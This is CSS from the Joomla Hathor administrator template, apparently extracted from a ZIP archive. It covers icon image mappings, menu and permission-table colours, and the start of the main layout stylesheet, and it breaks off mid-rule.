.icon-16-banners-cat { background-image: url(../images/menu/icon-16-banner-categories.png); } .icon-16-category { background-image: url(../images/menu/icon-16-category.png); } .icon-16-checkin { background-image: url(../images/menu/icon-16-checkin.png); } .icon-16-clear { background-image: url(../images/menu/icon-16-clear.png); } .icon-16-component { background-image: url(../images/menu/icon-16-component.png); } .icon-16-config { background-image: url(../images/menu/icon-16-config.png); } .icon-16-contact { background-image: url(../images/menu/icon-16-contacts.png); } .icon-16-contact-cat { background-image: url(../images/menu/icon-16-contacts-categories.png); } .icon-16-content { background-image: url(../images/menu/icon-16-content.png); } .icon-16-cpanel { background-image: url(../images/menu/icon-16-cpanel.png); } .icon-16-default { background-image: url(../images/menu/icon-16-default.png); } .icon-16-featured { background-image: url(../images/menu/icon-16-featured.png); } .icon-16-groups { background-image: url(../images/menu/icon-16-groups.png); } .icon-16-help { background-image: url(../images/menu/icon-16-help.png); } .icon-16-help-this { background-image: url(../images/menu/icon-16-help-this.png); } .icon-16-help-forum { background-image: url(../images/menu/icon-16-help-forum.png); } .icon-16-help-docs { background-image: url(../images/menu/icon-16-help-docs.png); } .icon-16-help-jed { background-image: url(../images/menu/icon-16-help-jed.png); } .icon-16-help-jrd { background-image: url(../images/menu/icon-16-help-jrd.png); } .icon-16-help-community { background-image: url(../images/menu/icon-16-help-community.png); } .icon-16-help-security { background-image: url(../images/menu/icon-16-help-security.png); } .icon-16-help-dev { background-image: url(../images/menu/icon-16-help-dev.png); } .icon-16-help-shop { background-image: url(../images/menu/icon-16-help-shop.png); } .icon-16-info { background-image: url(../images/menu/icon-16-info.png); } .icon-16-install { background-image: url(../images/menu/icon-16-install.png); } .icon-16-joomlaupdate { background-image: url(../images/menu/icon-16-install.png); } .icon-16-language { background-image: url(../images/menu/icon-16-language.png); } .icon-16-levels { background-image: url(../images/menu/icon-16-levels.png); } .icon-16-logout { background-image: url(../images/menu/icon-16-logout.png); } .icon-16-maintenance { background-image: url(../images/menu/icon-16-maintenance.png); } .icon-16-massmail { background-image: url(../images/menu/icon-16-massmail.png); } .icon-16-media { background-image: url(../images/menu/icon-16-media.png); } .icon-16-menu { background-image: url(../images/menu/icon-16-menu.png); } .icon-16-menumgr { background-image: url(../images/menu/icon-16-menumgr.png); } .icon-16-messages { background-image: url(../images/menu/icon-16-messaging.png); } .icon-16-messages-add { background-image: url(../images/menu/icon-16-new-privatemessage.png); } .icon-16-messages-read { background-image: url(../images/menu/icon-16-messages.png); } .icon-16-module { background-image: url(../images/menu/icon-16-module.png); } /* .icon-16-new { background-image: url(../images/menu/icon-16-new.png); } */ .icon-16-newarticle { background-image: url(../images/menu/icon-16-newarticle.png); } .icon-16-newcategory { background-image: url(../images/menu/icon-16-newcategory.png); } .icon-16-newgroup { background-image: url(../images/menu/icon-16-newgroup.png); } .icon-16-newlevel { background-image: url(../images/menu/icon-16-newlevel.png); } .icon-16-newuser { background-image: url(../images/menu/icon-16-newuser.png); } .icon-16-plugin { background-image: url(../images/menu/icon-16-plugin.png); } .icon-16-profile { background-image: url(../images/menu/icon-16-user.png); } .icon-16-purge { background-image: url(../images/menu/icon-16-purge.png); } .icon-16-readmess { background-image: url(../images/menu/icon-16-readmess.png); } .icon-16-section { background-image: url(../images/menu/icon-16-section.png); } .icon-16-static { background-image: url(../images/menu/icon-16-static.png); } .icon-16-stats { background-image: url(../images/menu/icon-16-stats.png); } .icon-16-themes { background-image: url(../images/menu/icon-16-themes.png); } .icon-16-trash { background-image: url(../images/menu/icon-16-trash.png); } .icon-16-user { background-image: url(../images/menu/icon-16-user.png); } .icon-16-user-note { background-image: url(../images/menu/icon-16-user-note.png); } .icon-16-delete { background-image: url(../images/menu/icon-16-delete.png); } .icon-16-help-trans { background-image: url(../images/menu/icon-16-help-trans.png); } .icon-16-newsfeeds { background-image: url(../images/menu/icon-16-newsfeeds.png); } .icon-16-newsfeeds-cat { background-image: url(../images/menu/icon-16-newsfeeds-cat.png); } .icon-16-redirect { background-image: url(../images/menu/icon-16-redirect.png); } .icon-16-search { background-image: url(../images/menu/icon-16-search.png); } .icon-16-finder { background-image: url(../images/menu/icon-16-search.png); } .icon-16-weblinks { background-image: url(../images/menu/icon-16-links.png); } .icon-16-weblinks-cat { background-image: url(../images/menu/icon-16-links-cat.png); } /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ .icon-32-send { background-image: url(../images/toolbar/icon-32-send.png); } .icon-32-delete { background-image: url(../images/toolbar/icon-32-delete.png); } .icon-32-help { background-image: url(../images/toolbar/icon-32-help.png); } .icon-32-cancel { background-image: url(../images/toolbar/icon-32-cancel.png); } .icon-32-checkin { background-image: url(../images/toolbar/icon-32-checkin.png); } .icon-32-options{ background-image: url(../images/toolbar/icon-32-config.png); } .icon-32-apply { background-image: url(../images/toolbar/icon-32-apply.png); } .icon-32-back { background-image: url(../images/toolbar/icon-32-back.png); } .icon-32-forward { background-image: url(../images/toolbar/icon-32-forward.png); } .icon-32-save { background-image: url(../images/toolbar/icon-32-save.png); } .icon-32-edit { background-image: url(../images/toolbar/icon-32-edit.png); } .icon-32-copy { background-image: url(../images/toolbar/icon-32-copy.png); } .icon-32-move { background-image: url(../images/toolbar/icon-32-move.png); } .icon-32-new { background-image: url(../images/toolbar/icon-32-new.png); } .icon-32-upload { background-image: url(../images/toolbar/icon-32-upload.png); } .icon-32-assign { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-html { background-image: url(../images/toolbar/icon-32-html.png); } .icon-32-css { background-image: url(../images/toolbar/icon-32-css.png); } .icon-32-menus { background-image: url(../images/toolbar/icon-32-menu.png); } .icon-32-publish { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-unblock { background-image: url(../images/toolbar/icon-32-unblock.png); } .icon-32-unpublish { background-image: url(../images/toolbar/icon-32-unpublish.png); } .icon-32-restore { background-image: url(../images/toolbar/icon-32-revert.png); } .icon-32-trash { background-image: url(../images/toolbar/icon-32-trash.png); } .icon-32-archive { background-image: url(../images/toolbar/icon-32-archive.png); } .icon-32-unarchive { background-image: url(../images/toolbar/icon-32-unarchive.png); } .icon-32-preview { background-image: url(../images/toolbar/icon-32-preview.png); } .icon-32-default { background-image: url(../images/toolbar/icon-32-default.png); } .icon-32-refresh { background-image: url(../images/toolbar/icon-32-refresh.png); } .icon-32-save-new { background-image: url(../images/toolbar/icon-32-save-new.png); } .icon-32-save-copy { background-image: url(../images/toolbar/icon-32-save-copy.png); } .icon-32-error { background-image: url(../images/toolbar/icon-32-error.png); } .icon-32-new-style { background-image: url(../images/toolbar/icon-32-new-style.png); } .icon-32-delete-style { background-image: url(../images/toolbar/icon-32-delete-style.png); } .icon-32-purge { background-image: url(../images/toolbar/icon-32-purge.png); } .icon-32-remove { background-image: url(../images/toolbar/icon-32-remove.png); } .icon-32-featured { background-image: url(../images/toolbar/icon-32-featured.png); } .icon-32-export { background-image: url(../images/toolbar/icon-32-export.png); } .icon-32-stats { background-image: url(../images/toolbar/icon-32-stats.png); } .icon-32-print { background-image: url(../images/toolbar/icon-32-print.png); } /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ .icon-48-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-generic { background-image: url(../images/header/icon-48-generic.png); } .icon-48-banners { background-image: url(../images/header/icon-48-banner.png); } .icon-48-banners-categories { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-edit { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-banners-clients { background-image: url(../images/header/icon-48-banner-client.png); } .icon-48-banners-tracks { background-image: url(../images/header/icon-48-banner-tracks.png); } .icon-48-checkin { background-image: url(../images/header/icon-48-checkin.png); } .icon-48-clear { background-image: url(../images/header/icon-48-clear.png); } .icon-48-contact { background-image: url(../images/header/icon-48-contacts.png); } .icon-48-contact-categories { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-edit { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-purge { background-image: url(../images/header/icon-48-purge.png); } .icon-48-cpanel { background-image: url(../images/header/icon-48-cpanel.png); } .icon-48-config { background-image: url(../images/header/icon-48-config.png); } .icon-48-groups { background-image: url(../images/header/icon-48-groups.png); } .icon-48-groups-add { background-image: url(../images/header/icon-48-groups-add.png); } .icon-48-levels { background-image: url(../images/header/icon-48-levels.png); } .icon-48-levels-add { background-image: url(../images/header/icon-48-levels-add.png); } .icon-48-module { background-image: url(../images/header/icon-48-module.png); } .icon-48-menu { background-image: url(../images/header/icon-48-menu.png); } .icon-48-menu-add { background-image: url(../images/header/icon-48-menu-add.png); } .icon-48-menumgr { background-image: url(../images/header/icon-48-menumgr.png); } .icon-48-trash { background-image: url(../images/header/icon-48-trash.png); } .icon-48-user { background-image: url(../images/header/icon-48-user.png); } .icon-48-user-add { background-image: url(../images/header/icon-48-user-add.png); } .icon-48-user-edit { background-image: url(../images/header/icon-48-user-edit.png); } .icon-48-user-profile { background-image: url(../images/header/icon-48-user-profile.png); } .icon-48-inbox { background-image: url(../images/header/icon-48-inbox.png); } .icon-48-new-privatemessage { background-image: url(../images/header/icon-48-new-privatemessage.png); } .icon-48-msgconfig { background-image: url(../images/header/icon-48-message_config.png); } .icon-48-langmanager { background-image: url(../images/header/icon-48-language.png); } .icon-48-mediamanager { background-image: url(../images/header/icon-48-media.png); } .icon-48-plugin { background-image: url(../images/header/icon-48-plugin.png); } .icon-48-help_header { background-image: url(../images/header/icon-48-help_header.png); } .icon-48-impressions { background-image: url(../images/header/icon-48-stats.png); } .icon-48-browser { background-image: url(../images/header/icon-48-stats.png); } .icon-48-searchtext { background-image: url(../images/header/icon-48-stats.png); } .icon-48-thememanager { background-image: url(../images/header/icon-48-themes.png); } .icon-48-writemess { background-image: url(../images/header/icon-48-writemess.png); } .icon-48-featured { background-image: url(../images/header/icon-48-featured.png); } .icon-48-sections { background-image: url(../images/header/icon-48-section.png); } .icon-48-article-add { background-image: url(../images/header/icon-48-article-add.png); } .icon-48-article-edit { background-image: url(../images/header/icon-48-article-edit.png); } .icon-48-article { background-image: url(../images/header/icon-48-article.png); } .icon-48-content-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-install { background-image: url(../images/header/icon-48-extension.png); } .icon-48-dbbackup { background-image: url(../images/header/icon-48-backup.png); } .icon-48-dbrestore { background-image: url(../images/header/icon-48-dbrestore.png); } .icon-48-dbquery { background-image: url(../images/header/icon-48-query.png); } .icon-48-systeminfo { background-image: url(../images/header/icon-48-info.png); } .icon-48-massmail { background-image: url(../images/header/icon-48-massmail.png); } .icon-48-redirect { background-image: url(../images/header/icon-48-redirect.png); } .icon-48-search { background-image: url(../images/header/icon-48-search.png); } .icon-48-finder { background-image: url(../images/header/icon-48-search.png); } .icon-48-newsfeeds { background-image: url(../images/header/icon-48-newsfeeds.png); } .icon-48-newsfeeds-categories { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-edit { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-weblinks { background-image: url(../images/header/icon-48-links.png); } .icon-48-weblinks-categories { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-edit { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-add { background-image: url(../images/header/icon-48-category-add.png); } /** * General styles */ div.message { border: 1px solid #e1d3c8; color: #333; } .helpFrame { border-left: 0 solid #222; border-right: none; border-top: none; border-bottom: none; } .outline { border: 1px solid #cccccc; background: #ffffff; } /** * Modal Styles */ dl.menu_type dt { border-bottom: 1px solid #666; } dul#new-modules-list { border-top: 1px solid #666; } /** * User Accessibility */ /* Skip to Content Visual Styling */ #skiplinkholder a, #skiplinkholder a:link, #skiplinkholder a:visited { color: #ffffff; background: #054993; border-bottom: solid #336 2px; } /** * Admin Form Styles */ fieldset.panelform { border: none 0; } /** * ACL STYLES relocated from com_users/media/grid.css */ a.move_up { background-image:url('../images/admin/uparrow.png'); } span.move_up { background-image:url('../images/admin/uparrow0.png'); } a.move_down { background-image:url('../images/admin/downarrow.png'); } span.move_down { background-image:url('../images/admin/downarrow0.png'); } a.grid_false { background-image:url('../images/admin/publish_x.png'); } a.grid_true { background-image:url('../images/admin/tick.png'); } a.grid_trash { background-image:url('../images/admin/icon-16-trash.png'); } /** * ACL PANEL STYLES */ /* All Tabs */ tr.row1 { background-color: #d5c1b2; } /* Summary Tab */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6, table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-left: 1px solid #cbcbcb; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat; } span.icon-16-locked { background: url(../images/admin/checked_out.png) 0 0 no-repeat; } label.icon-16-allow { background:url(../images/admin/icon-16-allow.png) no-repeat; } label.icon-16-deny { background:url(../images/admin/icon-16-deny.png) no-repeat; } a.icon-16-allow { background:url(../images/admin/icon-16-allow.png) no-repeat ; } a.icon-16-deny { background:url(../images/admin/icon-16-deny.png) no-repeat ; } a.icon-16-allowinactive { background:url(../images/admin/icon-16-allowinactive.png) no-repeat ; } a.icon-16-denyinactive { background:url(../images/admin/icon-16-denyinactive.png) no-repeat ; } /* ACL footer/legend */ ul.acllegend li.acl-allowed { background:url(../images/admin/icon-16-allow.png) no-repeat left; } ul.acllegend li.acl-denied { background:url(../images/admin/icon-16-deny.png) no-repeat left; } li.acl-editgroups, li.acl-resetbtn { background-color: #d5c1b2; border: 1px solid #000000; } li.acl-editgroups a, li.acl-resetbtn a { color: #2c2c2c; } li.acl-editgroups:hover, li.acl-resetbtn:hover, li.acl-editgroups:focus, li.acl-resetbtn:focus { background-color:#e1d3c8; } /* ACL Config --------- */ table#acl-config{ border: 1px solid #000000; } table#acl-config th, table#acl-config td { background: #d5c1b2; border-bottom: 1px solid #000000; } table#acl-config th.acl-groups { border-right: 1px solid #000000; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) right top no-repeat; } /** * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { border:solid 0 #000000; background:#ffffff; } ul#rules li .pane-sliders .panel h3.title { border:solid 0 #000000; } #permissions-sliders ul#rules .pane-slider { border:solid 1px #000000; } #permissions-sliders ul#rules li h3 { background:#d5c1b2; border: 1px solid #000000; } #permissions-sliders ul#rules li h3.pane-toggler-down a { border:solid 0; } #permissions-sliders ul#rules .group-kind { color:#2c2c2c; } #permissions-sliders ul#rules table.group-rules { border:solid 1px #000000; } #permissions-sliders ul#rules table.group-rules td { border-right:solid 1px #000000; border-bottom:solid 1px #000000; } #permissions-sliders ul#rules table.group-rules th { background:#e1d3c8; border-right:solid 1px #000000; border-bottom:solid 1px #000000; color:#2c2c2c; } ul#rules table.aclmodify-table { border:solid 1px #000000; } ul#rules table.group-rules td label { border:solid 0 #000000; } #permissions-sliders ul#rules .mypanel { border:solid 0 #000000; } #permissions-sliders ul#rules table.group-rules td { background: #ffffff; } #permissions-sliders span.level { color:#aaaaaa; background-image:none; } /* * Debug styles */ .check-0, table.adminlist tbody td.check-0 { background-color: #FFFFCF; } .check-a, table.adminlist tbody td.check-a { background-color: #CFFFDA; } .check-d, table.adminlist tbody td.check-d { background-color: #FFCFCF; } /** CSS file for Accessible Admin Menu * based on Matt Carrolls' son of suckerfish * with javascript by Bill Tomczak */ /* Note: set up the font-size on the id and used 100% on the elements. If ul/li/a are different ems, then the shifting back via non-js keyboard doesn't work properly */ /** * Menu Styling */ #menu { /* this is on the main ul */ color: #2c2c2c; } #menu ul { /* all lists */ background: #d5c1b2; color: #2c2c2c; } #menu ul li.node { background: url(../images/j_arrow.png) no-repeat right 50%; } #menu ul li.separator { margin-bottom: 0; } #menu a { color: #000000; background-repeat: no-repeat; background-position: left 50%; } #menu li { /* all list items */ background: #d5c1b2; border-right: 1px solid #000000; } #menu li a:hover,#menu li a:focus { background-color: #d5c1b2; } #menu li.disabled a:hover, #menu li.disabled a:focus, #menu li.disabled a { color: #cccccc; background-color: #ffffff; } #menu li ul { /* second-level lists */ border: .1em solid #000000; } #menu li li { /* second-level row */ background: #d5c1b2; } /** * Styling parents */ /* 1 level - sfhover */ #menu li.sfhover a { background-color: #e1d3c8; } /* 2 level - normal */ #menu li.sfhover li a { background-color: transparent; } /* 2 level - hover */ #menu li.sfhover li.sfhover a,#menu li li a:focus { background-color: #e1d3c8; } /* 3 level - normal */ #menu li.sfhover li.sfhover li a { background-color: transparent; } /* 3 level - hover */ #menu li.sfhover li.sfhover li.sfhover a,#menu li li li a:focus { background-color: #e1d3c8; } /* bring back the focus elements into view */ #menu li li a:focus { background-color: #d5c1b2; border-left: 1px solid #fafafa; border-bottom: 1px solid #fafafa; } #menu li li li a:focus { background-color: #cccccc; border-left: 1px solid #fafafa; border-bottom: 1px solid #fafafa; } /** * Submenu styling */ #submenu { border-bottom: 1px solid #000000; /* border-bottom plus padding-bottom is the technique */ /* This is the background befind the tabs */ background: #ffffff; } #submenu a, #submenu span.nolink { background: #d5c1b2; border: 1px solid #000000; color: #000000; } #submenu span.nolink { color: #999; } #submenu a:hover, #submenu a:focus { background-color: #e1d3c8; } #submenu a.active, #submenu span.nolink.active { background: #fdfcfb; border-bottom: 1px solid #fff; color: #000; } /* -- Codemirror Editor ----------- */ div.CodeMirror-wrapping { border: 1px solid #000000; } /* User Notes */ ul.alternating > li:nth-child(odd) { background-color: #ffffff; } ul.alternating > li:nth-child(even) { background-color: #e1d3c8; } ol.alternating > li:nth-child(odd) { background-color: #ffffff; } ol.alternating > li:nth-child(even) { background-color: #e1d3c8;} /* Installer Database */ #installer-database p.warning { background: transparent url(../images/admin/icon-16-deny.png) center left no-repeat; } #installer-database p.nowarning { background: transparent url(../images/admin/icon-16-allow.png) center left no-repeat; } PK@y>\+V!templates/hathor/css/template.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * Main CSS file for the template */ /** * CSS Reset */ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0; padding: 0; border: 0; font-size: 100%; background: transparent; } blockquote, q { quotes: none; } blockquote:before, blockquote:after, q:before, q:after { content: ''; content: none; } del { text-decoration: line-through; } /** * General styles */ html { overflow-y: scroll; height: 100%; } body { margin: 0; padding: 0; font-size: 62.5%; line-height: 1.5em; height: 100%; } body,td,th,span,a { font-family: Arial, Helvetica, sans-serif; } html,body { height: 100%; } a,img { padding: 0; margin: 0; } img { border: 0 none; } form { margin: 0; padding: 0; } ul { padding: 0; margin: 0; } h1 { margin: 0; padding-bottom: 8px; font-size: 1.4em; font-weight: bold; line-height: 2em; } h2 { padding-top: .83em; padding-bottom: .83em; } h3 { font-size: 1.4em; } a:link { color: #054993; text-decoration: none; } a:visited { color: #054993; text-decoration: none; } a:hover { text-decoration: underline; } a:focus { text-decoration: underline; } iframe { border: 0; } /* new styles */ .enabled { color: #005800; font-weight: bold; } .disabled { color: #a20000; font-weight: bold; } p.error { color: #a20000; font-weight: bold; } .warning { color: #a20000; font-weight: bold; } .nowarning { color: #2c2c2c; font-weight: bold; } .success { color: #005800; font-weight: bold;} .allow { color: #005800;} span.writable { color: #005800;} .deny { color: #a20000;} span.unwritable { color: #a20000;} .none { color: #aaaaaa;} .pointer { cursor: pointer;} .nowrap { white-space: nowrap; } p.nowarning, p.warning { margin: 10px; } /* end new styles */ /** * Overall Styles */ #minwidth, #minwidth-body { min-width: 980px; } #containerwrap { position: relative; } #header { position: relative; } #header h1.title { font-size: 1.5em; font-weight: normal; line-height: 25px; margin: 0; padding: 0 0 0 120px; } #footer { padding: 10px 20px; } #footer .copyright { margin: 0 0 0 0; text-align: center; } #footer p { font-size: 1.2em; } #nav .no-nav { line-height: 2em; } #content { margin: 5px 20px 20px 20px; } .cpanel-page div#element-box { padding: 15px; } /** * Status layout */ #module-status { float: right; position: relative; top:-48px; } #module-status span { display: block; float: left; padding: 4px 20px 0 22px; font-size: 1.2em; } #module-status .unread-messages a { font-weight: bold; } .title-ua { position: relative; width: 60%; } /** * Various Styles */ .enabled, .disabled, p.error, .warning, .nowarning, .success { font-weight: bold; } .pointer { cursor: pointer; } .nowrap { white-space: nowrap; } span.note { display: block; padding: 5px; } div.checkin-tick { text-indent: -9999px; } /** * Overlib */ .ol-textfont { font-family: Arial, Helvetica, sans-serif; font-size: 1.2em; } .ol-captionfont { font-family: Arial, Helvetica, sans-serif; font-size: 1.2em; font-weight: bold; } .ol-captionfont a { text-decoration: none; } /** * Subheader, toolbar, page title */ div.subheader .padding { padding: 0; } div.pagetitle { padding: 0 0 5px 0; margin: 0; background-repeat: no-repeat; background-position: left 50%; line-height: 54px; } .pagetitle h2 { padding: 0 0 0 50px; font-size: 1.3em; font-weight: bold; line-height: 48px; font-style: italic; } div.configuration { font-size: 1.2em; font-weight: bold; line-height: 2em; padding-left: 30px; margin-left: 10px; } div.toolbar-box h3 { height: 0; overflow: hidden; position: absolute; padding: 0; margin: 0; } div.toolbar-list { float: left; text-align: right; padding: 0; } div.toolbar-list li { padding: 5px 1px 5px 4px; text-align: center; height: 52px; list-style: none; float: left; } div.toolbar-list li.spacer { width: 10px; } div.toolbar-list li.divider { width: 10px; margin-right: 10px; } div.toolbar-list span { float: none; width: 32px; height: 32px; margin: 0 auto; display: block; } div.toolbar-list a { display: block; float: left; white-space: nowrap; padding: 1px 5px; cursor: pointer; font-weight: bold; } div.toolbar-list a:hover, div.toolbar-list a:focus { text-decoration: none; } /** * Massmail component */ td#mm_pane { width: 90%; } input#mm_subject { width: 200px; } textarea#mm_message { width: 100%; } /** * Pane Slider pane Toggler styles */ .pane-sliders { margin: 0; position: relative; } .pane-sliders .title { margin: 0; padding: 2px; cursor: pointer; } .pane-sliders .panel { margin-bottom: 3px; } .pane-sliders .adminlist td { border: 0 none; } h3.pane-toggler-down a:focus, h3.pane-toggler a:focus { outline: none; } .pane-toggler span { padding-left: 20px; } .pane-toggler-down span { padding-left: 20px; } /* The following line hides the unseen panel (prevents the mouse from activating in IE, so overridden in the ie css files) */ /*.pane-toggler + div.pane-slider {display: none;}*/ .pane-slider.pane-hide { display: none; } div#position-icon.pane-sliders div.pane-down div.icon-wrapper { margin: 5px 0 5px 0; } div#position-icon.pane-sliders div.pane-down .icon-wrapper .icon { padding: 5px 0 5px 10px; margin: 0; } /** * Tabs */ dl.tabs { float: left; margin: 10px 0 -1px 0; z-index: 50; } dl.tabs dt { float: left; padding: 4px 10px; margin-left: 3px; } dl.tabs dt.open { z-index: 100; } div.current { clear: both; padding: 10px 10px; } div.current dd { padding: 0; margin: 0; } /* New parameter styles */ dl#content-pane.tabs { margin: 1px 0 0 0; } div.current label, div.current span.faux-label { display: block; min-width: 150px; float: left; clear: left; margin-top: 8px; } div.current fieldset.radio { float:left; } div.current fieldset.radio input { clear: none; min-width: 15px; float: left; margin: 3px 0 0 2px; } div.current fieldset.radio label { clear: none; min-width: 45px; float: left; margin: 3px 0 0 2px; } div.current fieldset.checkboxes { float: left; clear: right; } div.current fieldset.checkboxes input { clear: left; min-width: 15px; float: left; margin: 3px 0 0 2px; } div.current fieldset.checkboxes label { clear: right; min-width: 45px; margin: 3px 0 0 2px; } div.current input, div.current span.faux-input, div.current textarea, div.current select { clear: none; float: left; margin: 3px 0 0 2px; } div.current select { margin-bottom: 15px; } div.current table#acl-config th.acl-groups { text-align: left; } div.current table#filter-config th.acl-groups { text-align: left; } div.current table#filter-config select { margin-bottom: 0; } /* -------- Menu Assigments ---------- */ div#menu-assignment { clear:left; } div#menu-assignment ul.menu-links { float:left; width:49%; } div#menu-assignment ul.menu-links label { clear:none; float: left; margin: 3px 0 0 2px; } div#menu-assignment ul.menu-links input { clear: left; float: left; } button.jform-rightbtn { float:right; margin-right: 0; } p.tab-description { font-size: 1.091em; margin-left: 0; margin-top: 5px; } /* end new parameter styles */ /** * Login Settings */ #login-page form .inputbox { width: 120px; margin-left: 5px; margin-bottom: 15px; } #login-page input, #login-page select { float: right; clear: none; } #login-page .login { margin: 0 auto; width: 575px; margin-bottom: 100px; } #login-page .pagetitle h2 { margin: -70px 0 30px 0; font-size: 2em; padding: 0; } #login-page p { margin: 0; padding: 0; margin-bottom: 1em; font-size: 1.2em; } #login-page #header { margin-bottom: 100px; } #login-page .login-inst { float: left; width: 35%; } #login-page .login-box { float: right; width: 63%; } #login-page #lock { width: 150px; height: 137px; } #login-page #element-box.login { padding: 20px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } #login-page .button { text-align: right; } #login-page .login-text { text-align: left; width: 40%; float: left; } #form-login { float: right; padding: 1.1em; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } #form-login fieldset { border: none; } #form-login label { display: block; float: left; clear: left; width: 160px; text-align: right; padding: 4px; color: #2c2c2c; font-weight: bold; font-size: 1.4em; margin-bottom: 15px; } #form-login div.button1 div.next { float: left; } #form-login div.button1 a { height: 2.2em; line-height: 2.2em; font-size: 1.5em; font-weight: bold; cursor: default; padding: 0 15px 0 15px; } .login-submit { border: 0; padding: 0; margin: 0; width: 0; height: 0; } /** * Cpanel Settings */ #cpanel div.icon, .cpanel div.icon { text-align: center; margin-right: 5px; float: left; margin-bottom: 5px; } #cpanel div.icon a, .cpanel div.icon a { display: block; float: left; height: 97px; width: 108px; color: #2c2c2c; vertical-align: middle; text-decoration: none; font-weight: bold; } #cpanel img, .cpanel img { padding: 10px 0; margin: 0 auto; } #cpanel span, .cpanel span { display: block; text-align: center; } div.cpanel-icons { width: 54%; float: left; } div.cpanel-component { width: 45%; float: right; } /** * Standard Layout Styles */ div.col { float: left; } div.options-section.col { float: right; } div.col1 { float: left; width: 45%; } div.col2 { float: right; width: 45%; } /* Avoid using the width divs. They are here for 3PD Extensions if needed * Use the specific layout divs listed after. See also the th.width entries */ div.width-1 { width: 1%;} div.width-3 { width: 3%;} div.width-5 { width: 5%;} div.width-10 { width: 10%;} div.width-20 { width: 20%;} div.width-30 { width: 30%;} div.width-35 { width: 35%; } div.width-40 { width: 40%;} div.width-45 { width: 45%;} div.width-50 { width: 50%;} div.width-55 { width: 55%;} div.width-60 { width: 60%; } div.width-65 { width: 65%;} div.width-70 { width: 70%;} div.width-80 { width: 80%;} div.width-100 { width: 100%;} .clrlft { clear: left; } .clrrt { clear: right; } .fltlft { float: left; } .fltrt { float: right; } .fltnone { float: none; } /* Layout Divs */ div.main-section { width: 60%; } div.options-section { width: 38%; margin: 10px 10px 10px 0; } /* for bluestork style html */ div.width-40.fltrt { width: 38%; margin: 10px 10px 10px 0; } div.rules-section { width: 98%; margin: 10px; } /** * Form Styles */ fieldset { margin: 2px 10px 2px 10px; padding: 5px; text-align: left; } legend { font-size: 1.3em; font-weight: bold; padding-bottom: 5px; } fieldset p { margin: 10px 0; font-size: 1.2em; } fieldset ol, ol#property-values, fieldset ul, ul#property-values { margin: 0; padding: 0; } fieldset li, ol#property-values li, ul#property-values li { list-style: none; margin: 0; padding: 5px; } fieldset.adminform fieldset.radio, fieldset.panelform fieldset.radio, fieldset.adminform-legacy fieldset.radio { border: 0; float: left; padding: 0; margin: 0 0 5px 0; clear: right; } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label, fieldset.adminform fieldset.radio span.faux-label, fieldset.panelform fieldset.radio span.faux-label { min-width: 40px; float:left; clear:none; } /* checkboxes */ fieldset.adminform fieldset.checkboxes, fieldset.panelform fieldset.checkboxes, fieldset.adminform-legacy fieldset.checkboxes { border: 0; float:left; padding: 0; margin: 0 0 5px 0; clear:right; } fieldset.adminform fieldset.checkboxes input[type="checkbox"], fieldset.panelform fieldset.checkboxes input[type="checkbox"] { float: left; clear: left; } fieldset.adminform fieldset.checkboxes label, fieldset.panelform fieldset.checkboxes label, fieldset.adminform fieldset.checkboxes span.faux-label, fieldset.panelform fieldset.checkboxes span.faux-label { clear: right; } /* end checkboxes */ /* spacer */ div.current span.spacer > span.before, fieldset.adminform span.spacer > span.before, fieldset.panelform span.spacer > span.before { clear: both; overflow: hidden; height: 0; display: block; } /* end spacer */ fieldset.panelform-legacy label, fieldset.adminform-legacy label, fieldset.panelform-legacy span.faux-label, fieldset.adminform-legacy span.faux-label { min-width: 150px; float:left; } /* JParameter classes on radio button labels */ fieldset.panelform-legacy label.radiobtn-jno, fieldset.panelform-legacy label.radiobtn-jyes, fieldset.panelform-legacy label.radiobtn-show, fieldset.panelform-legacy 